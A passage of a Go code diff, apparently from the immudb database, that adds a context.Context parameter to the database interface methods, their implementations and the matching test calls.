*testing.T) { require.Equal(t, hdr.Id, entry.ReferencedBy.Tx) // ref became a reference of a reference - _, err = db.Get(&schema.KeyRequest{Key: []byte("ref")}) + _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte("ref")}) require.ErrorIs(t, err, ErrKeyResolutionLimitReached) // "key" became a reference - _, err = db.ZScan(&schema.ZScanRequest{ + _, err = db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte("set"), }) require.ErrorIs(t, err, ErrKeyResolutionLimitReached) @@ -765,7 +766,7 @@ func TestStore_ExecAllOpsConcurrentOnAlreadyPersistedKeys(t *testing.T) { for i := 1; i <= 10; i++ { for j := 1; j <= 10; j++ { key := strconv.FormatUint(uint64(j), 10) - _, _ = st.Set(schema.KeyValue{ + _, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(key), Value: []byte(key), }) @@ -829,7 +830,7 @@ func TestStore_ExecAllOpsConcurrentOnAlreadyPersistedKeys(t *testing.T) { for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) - zList, err := st.ZScan(schema.ZScanOptions{ + zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) @@ -852,7 +853,7 @@ func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotKeys(t *testing.T) { // even if j%2 == 0 { key := strconv.FormatUint(uint64(j), 10) - _, _ = st.Set(schema.KeyValue{ + _, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(key), Value: []byte(key), }) @@ -932,7 +933,7 @@ func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotKeys(t *testing.T) { for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) - zList, err := st.ZScan(schema.ZScanOptions{ + zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) @@ -964,7 +965,7 @@ func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotOnEqualKeysAndEqualScor // even if j%2 == 0 { val := fmt.Sprintf("%d,%d", i, j) - index, _ = st.Set(schema.KeyValue{ + index, _ = st.Set(context.Background(), schema.KeyValue{ Key: []byte(keyA), Value: []byte(val), }) @@ -1051,7 +1052,7 @@ func TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotOnEqualKeysAndEqualScor require.NotNil(t, history) for i := 1; i <= 10; i++ { set := strconv.FormatUint(uint64(i), 10) - zList, err := st.ZScan(schema.ZScanOptions{ + zList, err := st.ZScan(context.Background(), schema.ZScanOptions{ Set: []byte(set), }) require.NoError(t, err) @@ -1099,7 +1100,7 @@ func TestExecAllOpsMonotoneTsRange(t *testing.T) { func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { db := makeDb(t) - idx0, _ := db.Set(&schema.SetRequest{ + idx0, _ := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte(`persistedKey`), @@ -1121,7 +1122,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, }, } - _, err := db.ExecAll(aOps) + _, err := db.ExecAll(context.Background(), aOps) require.Equal(t, store.ErrIllegalArguments, err) // Ops payload @@ -1139,7 +1140,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, }, } - idx1, err := db.ExecAll(aOps) + idx1, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) aOps = &schema.ExecAllRequest{ @@ -1156,7 +1157,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, }, } - _, err = db.ExecAll(aOps) + _, err = db.ExecAll(context.Background(), aOps) require.Equal(t, ErrReferencedKeyCannotBeAReference, err) aOps = &schema.ExecAllRequest{ @@ -1173,10 +1174,10 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { }, }, } - _, err = db.ExecAll(aOps) + _, err = db.ExecAll(context.Background(), aOps) require.Equal(t, ErrFinalKeyCannotBeConvertedIntoReference, err) - ref, err := db.Get(&schema.KeyRequest{Key: []byte(`myReference`), SinceTx: idx1.Id}) + ref, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myReference`), SinceTx: idx1.Id}) require.NoError(t, err) require.NotEmptyf(t, ref, "Should not be empty") require.Equal(t, []byte(`persistedVal`), ref.Value, "Should have referenced item value") @@ -1186,7 +1187,7 @@ func TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) { func TestOps_Preconditions(t *testing.T) { db := makeDb(t) - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1201,7 +1202,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.ErrorIs(t, err, store.ErrPreconditionFailed) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1216,7 +1217,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.NoError(t, err) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1231,7 +1232,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.ErrorIs(t, err, store.ErrPreconditionFailed) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1246,7 +1247,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.NoError(t, err) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1261,7 +1262,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.ErrorIs(t, err, store.ErrPreconditionFailed) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1276,7 +1277,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.NoError(t, err) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1289,7 +1290,7 @@ func TestOps_Preconditions(t *testing.T) { }) require.ErrorIs(t, err, store.ErrInvalidPrecondition) - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1313,7 +1314,7 @@ func TestOps_Preconditions(t *testing.T) { )) } - _, err = db.ExecAll(&schema.ExecAllRequest{ + _, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1358,7 +1359,7 @@ func TestOps_ReferenceKeyNotYetPersisted(t *testing.T) { _, err := st.ExecAllOps(aOps) require.NoError(t, err) - ref, err := st.Get(schema.Key{Key: []byte(`myTag`)}) + ref, err := st.Get(context.Background(), schema.Key{Key: []byte(`myTag`)}) require.NoError(t, err) require.NotEmptyf(t, ref, "Should not be empty") diff --git a/pkg/database/database.go b/pkg/database/database.go index c4134b188a..6c5930875d 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -75,30 +75,30 @@ type DB interface { Size() (uint64, error) // Key-Value - Set(req *schema.SetRequest) (*schema.TxHeader, error) - VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) + Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) + VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) - Get(req *schema.KeyRequest) (*schema.Entry, error) - VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) - GetAll(req *schema.KeyListRequest) (*schema.Entries, error) + Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) + VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) + GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) - Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) + Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) - SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) - VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) + SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) + VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) - Scan(req *schema.ScanRequest) (*schema.Entries, error) + Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) - History(req *schema.HistoryRequest) (*schema.Entries, error) + History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) - ExecAll(operations *schema.ExecAllRequest) (*schema.TxHeader, error) + ExecAll(ctx context.Context, operations *schema.ExecAllRequest) (*schema.TxHeader, error) - Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) - CountAll() (*schema.EntryCount, error) + Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) + CountAll(ctx context.Context) (*schema.EntryCount, error) - ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) - VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) - ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) + ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) + VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) + ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) // SQL-related NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) @@ -113,23 +113,23 @@ type DB interface { SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) - VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) + VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) // Transactional layer - WaitForTx(txID uint64, allowPrecommitted bool, cancellation <-chan struct{}) error - WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error + WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error + WaitForIndexingUpto(ctx context.Context, txID uint64) error - TxByID(req *schema.TxRequest) (*schema.Tx, error) - ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) - ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) + TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) + ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) + ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error DiscardPrecommittedTxsSince(txID uint64) error - VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) - TxScan(req *schema.TxScanRequest) (*schema.TxList, error) + VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) + TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) // Maintenance FlushIndex(req *schema.FlushIndexRequest) error @@ -382,7 +382,7 @@ func (d *db) CompactIndex() error { } // Set ... -func (d *db) Set(req *schema.SetRequest) (*schema.TxHeader, error) { +func (d *db) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -390,15 +390,15 @@ func (d *db) Set(req *schema.SetRequest) (*schema.TxHeader, error) { return nil, ErrIsReplica } - return d.set(req) + return d.set(ctx, req) } -func (d *db) set(req *schema.SetRequest) (*schema.TxHeader, error) { +func (d *db) set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { if req == nil { return nil, ErrIllegalArguments } - tx, err := d.st.NewWriteOnlyTx() + tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } @@ -492,7 +492,7 @@ func checkKeyRequest(req *schema.KeyRequest) error { } // Get ... -func (d *db) Get(req *schema.KeyRequest) (*schema.Entry, error) { +func (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { err := checkKeyRequest(req) if err != nil { return nil, err @@ -512,7 +512,7 @@ func (d *db) Get(req *schema.KeyRequest) (*schema.Entry, error) { waitUntilTx = currTxID } - err := d.WaitForIndexingUpto(waitUntilTx, nil) + err := d.WaitForIndexingUpto(ctx, waitUntilTx) if err != nil { return nil, err } @@ -702,17 +702,17 @@ func (d *db) CurrentState() (*schema.ImmutableState, error) { } // WaitForTx blocks caller until specified tx -func (d *db) WaitForTx(txID uint64, allowPrecommitted bool, cancellation <-chan struct{}) error { - return d.st.WaitForTx(txID, allowPrecommitted, cancellation) +func (d *db) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { + return d.st.WaitForTx(ctx, txID, allowPrecommitted) } // WaitForIndexingUpto blocks caller until specified tx gets indexed -func (d *db) WaitForIndexingUpto(txID uint64, cancellation <-chan struct{}) error { - return d.st.WaitForIndexingUpto(txID, cancellation) +func (d *db) WaitForIndexingUpto(ctx context.Context, txID uint64) error { + return d.st.WaitForIndexingUpto(ctx, txID) } // VerifiableSet ... -func (d *db) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { +func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, ErrIllegalArguments } @@ -729,7 +729,7 @@ func (d *db) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.Verifiable } defer d.releaseTx(lastTx) - txhdr, err := d.Set(req.SetRequest) + txhdr, err := d.Set(ctx, req.SetRequest) if err != nil { return nil, err } @@ -762,7 +762,7 @@ func (d *db) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.Verifiable } // VerifiableGet ... -func (d *db) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { +func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { if req == nil { return nil, ErrIllegalArguments } @@ -772,7 +772,7 @@ func (d *db) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.Verifiable return nil, ErrIllegalState } - e, err := d.Get(req.KeyRequest) + e, err := d.Get(ctx, req.KeyRequest) if err != nil { return nil, err } @@ -843,7 +843,7 @@ func (d *db) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.Verifiable }, nil } -func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { +func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { if req == nil { return nil, ErrIllegalArguments } @@ -863,7 +863,7 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { }) } - tx, err := d.st.NewTx(opts) + tx, err := d.st.NewTx(ctx, opts) if err != nil { return nil, err } @@ -900,8 +900,8 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { } // GetAll ... -func (d *db) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { - snap, err := d.snapshotSince(req.SinceTx) +func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { + snap, err := d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } @@ -929,17 +929,17 @@ func (d *db) Size() (uint64, error) { } // Count ... -func (d *db) Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) { +func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { return nil, fmt.Errorf("Functionality not yet supported: %s", "Count") } // CountAll ... -func (d *db) CountAll() (*schema.EntryCount, error) { +func (d *db) CountAll(ctx context.Context) (*schema.EntryCount, error) { return nil, fmt.Errorf("Functionality not yet supported: %s", "Count") } // TxByID ... -func (d *db) TxByID(req *schema.TxRequest) (*schema.Tx, error) { +func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { if req == nil { return nil, ErrIllegalArguments } @@ -954,7 +954,7 @@ func (d *db) TxByID(req *schema.TxRequest) (*schema.Tx, error) { defer d.releaseTx(tx) if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(req.SinceTx) + snap, err = d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } @@ -970,7 +970,7 @@ func (d *db) TxByID(req *schema.TxRequest) (*schema.Tx, error) { return d.serializeTx(tx, req.EntriesSpec, snap) } -func (d *db) snapshotSince(txID uint64) (*store.Snapshot, error) { +func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, error) { currTxID, _ := d.st.CommittedAlh() if txID > currTxID { @@ -982,7 +982,7 @@ func (d *db) snapshotSince(txID uint64) (*store.Snapshot, error) { waitUntilTx = currTxID } - return d.st.SnapshotMustIncludeTxID(waitUntilTx) + return d.st.SnapshotMustIncludeTxID(ctx, waitUntilTx) } func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot) (*schema.Tx, error) { @@ -1207,7 +1207,7 @@ func (d *db) mayUpdateReplicaState(committedTxID uint64, newReplicaState *schema return nil } -func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { +func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { if req == nil { return nil, 0, mayCommitUpToAlh, ErrIllegalArguments @@ -1294,7 +1294,7 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp ctx, cancel := context.WithTimeout(context.Background(), d.options.storeOpts.SyncFrequency*4) defer cancel() - err = d.WaitForTx(req.Tx, req.AllowPreCommitted, ctx.Done()) + err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) if errors.Is(err, watchers.ErrCancellationRequested) { return nil, mayCommitUpToTxID, mayCommitUpToAlh, nil } @@ -1310,7 +1310,7 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp return txbs, mayCommitUpToTxID, mayCommitUpToAlh, nil } -func (d *db) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { +func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHeader, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -1318,7 +1318,7 @@ func (d *db) ReplicateTx(exportedTx []byte) (*schema.TxHeader, error) { return nil, ErrNotReplica } - hdr, err := d.st.ReplicateTx(exportedTx, false) + hdr, err := d.st.ReplicateTx(ctx, exportedTx, false) if err != nil { return nil, err } @@ -1368,7 +1368,7 @@ func (d *db) DiscardPrecommittedTxsSince(txID uint64) error { } // VerifiableTxByID ... -func (d *db) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { +func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, ErrIllegalArguments } @@ -1382,7 +1382,7 @@ func (d *db) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.Verifiab var err error if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(req.SinceTx) + snap, err = d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } @@ -1437,7 +1437,7 @@ func (d *db) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.Verifiab } // TxScan ... -func (d *db) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { +func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { if req == nil { return nil, ErrIllegalArguments } @@ -1459,7 +1459,7 @@ func (d *db) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { limit = d.maxResultSize } - snap, err := d.snapshotSince(req.SinceTx) + snap, err := d.snapshotSince(ctx, req.SinceTx) if err != nil { return nil, err } @@ -1500,7 +1500,7 @@ func (d *db) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { } // History ... -func (d *db) History(req *schema.HistoryRequest) (*schema.Entries, error) { +func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { if req == nil { return nil, ErrIllegalArguments } @@ -1521,7 +1521,7 @@ func (d *db) History(req *schema.HistoryRequest) (*schema.Entries, error) { waitUntilTx = currTxID } - err := d.WaitForIndexingUpto(waitUntilTx, nil) + err := d.WaitForIndexingUpto(ctx, waitUntilTx) if err != nil { return nil, err } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 08e1c2d49f..d28745f054 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -114,10 +114,10 @@ func TestDefaultDbCreation(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(1), n) - _, err = db.Count(nil) + _, err = db.Count(context.Background(), nil) require.Error(t, err) - _, err = db.CountAll() + _, err = db.CountAll(context.Background()) require.Error(t, err) dbPath := path.Join(options.GetDBRootPath(), db.GetName()) @@ -203,10 +203,10 @@ func TestDbSynchronousSet(t *testing.T) { db := makeDb(t) for _, kv := range kvs { - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - item, err := db.Get(&schema.KeyRequest{Key: kv.Key}) + item, err := db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key}) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) @@ -219,14 +219,14 @@ func TestDbSetGet(t *testing.T) { var trustedAlh [sha256.Size]byte var trustedIndex uint64 - _, err := db.Set(nil) + _, err := db.Set(context.Background(), nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.VerifiableGet(nil) + _, err = db.VerifiableGet(context.Background(), nil) require.Equal(t, ErrIllegalArguments, err) for i, kv := range kvs[:1] { - txhdr, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) require.Equal(t, uint64(i+2), txhdr.Id) @@ -238,18 +238,18 @@ func TestDbSetGet(t *testing.T) { keyReq := &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id} - item, err := db.Get(keyReq) + item, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) - _, err = db.Get(&schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id, AtTx: txhdr.Id}) + _, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id, AtTx: txhdr.Id}) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.Get(&schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id + 1}) + _, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id + 1}) require.ErrorIs(t, err, ErrIllegalArguments) - vitem, err := db.VerifiableGet(&schema.VerifiableGetRequest{ + vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: keyReq, ProveSinceTx: trustedIndex, }) @@ -301,17 +301,17 @@ func TestDbSetGet(t *testing.T) { require.True(t, verifies) } - _, err = db.Get(&schema.KeyRequest{Key: []byte{}}) + _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte{}}) require.Error(t, err) } func TestDelete(t *testing.T) { db := makeDb(t) - _, err := db.Delete(nil) + _, err := db.Delete(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: nil, @@ -321,7 +321,7 @@ func TestDelete(t *testing.T) { }) require.ErrorIs(t, err, ErrIllegalArguments) - hdr, err := db.Set(&schema.SetRequest{ + hdr, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key1"), @@ -332,7 +332,7 @@ func TestDelete(t *testing.T) { require.NoError(t, err) t.Run("deletion with invalid indexing spec should return an error", func(t *testing.T) { - _, err = db.Delete(&schema.DeleteKeysRequest{ + _, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ []byte("key1"), }, @@ -341,24 +341,24 @@ func TestDelete(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) - _, err = db.Get(&schema.KeyRequest{ + _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key1"), }) require.NoError(t, err) - hdr, err = db.Delete(&schema.DeleteKeysRequest{ + hdr, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ []byte("key1"), }, }) require.NoError(t, err) - _, err = db.Get(&schema.KeyRequest{ + _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key1"), }) require.ErrorIs(t, err, store.ErrKeyNotFound) - _, err = db.VerifiableGet(&schema.VerifiableGetRequest{ + _, err = db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{ Key: []byte("key1"), AtTx: hdr.Id, @@ -366,7 +366,7 @@ func TestDelete(t *testing.T) { }) require.ErrorIs(t, err, store.ErrKeyNotFound) - tx, err := db.TxByID(&schema.TxRequest{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ @@ -383,7 +383,7 @@ func TestCurrentState(t *testing.T) { db := makeDb(t) for ind, val := range kvs { - txhdr, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) + txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) require.Equal(t, uint64(ind+2), txhdr.Id) @@ -401,10 +401,10 @@ func TestSafeSetGet(t *testing.T) { state, err := db.CurrentState() require.NoError(t, err) - _, err = db.VerifiableSet(nil) + _, err = db.VerifiableSet(context.Background(), nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.VerifiableSet(&schema.VerifiableSetRequest{ + _, err = db.VerifiableSet(context.Background(), &schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{ KVs: []*schema.KeyValue{ { @@ -454,11 +454,11 @@ func TestSafeSetGet(t *testing.T) { } for ind, val := range kv { - vtx, err := db.VerifiableSet(val) + vtx, err := db.VerifiableSet(context.Background(), val) require.NoError(t, err) require.NotNil(t, vtx) - vit, err := db.VerifiableGet(&schema.VerifiableGetRequest{ + vit, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: &schema.KeyRequest{ Key: val.SetRequest.KVs[0].Key, SinceTx: vtx.Tx.Header.Id, @@ -487,11 +487,11 @@ func TestSetGetAll(t *testing.T) { }, } - txhdr, err := db.Set(&schema.SetRequest{KVs: kvs}) + txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvs}) require.NoError(t, err) require.Equal(t, uint64(2), txhdr.Id) - itList, err := db.GetAll(&schema.KeyListRequest{ + itList, err := db.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), []byte("Jean-Claude"), @@ -509,17 +509,17 @@ func TestSetGetAll(t *testing.T) { func TestTxByID(t *testing.T) { db := makeDb(t) - _, err := db.TxByID(nil) + _, err := db.TxByID(context.Background(), nil) require.Error(t, ErrIllegalArguments, err) - txhdr1, err := db.Set(&schema.SetRequest{ + txhdr1, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ {Key: []byte("key0"), Value: []byte("value0")}, }, }) require.NoError(t, err) - txhdr2, err := db.ExecAll(&schema.ExecAllRequest{ + txhdr2, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ @@ -560,7 +560,7 @@ func TestTxByID(t *testing.T) { txhdr3 := ctx1[0].TxHeader() t.Run("values should not be resolved but digests returned in entries field", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr1.Id}) + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) @@ -571,7 +571,7 @@ func TestTxByID(t *testing.T) { require.Len(t, e.Value, 0) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr2.Id}) + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, 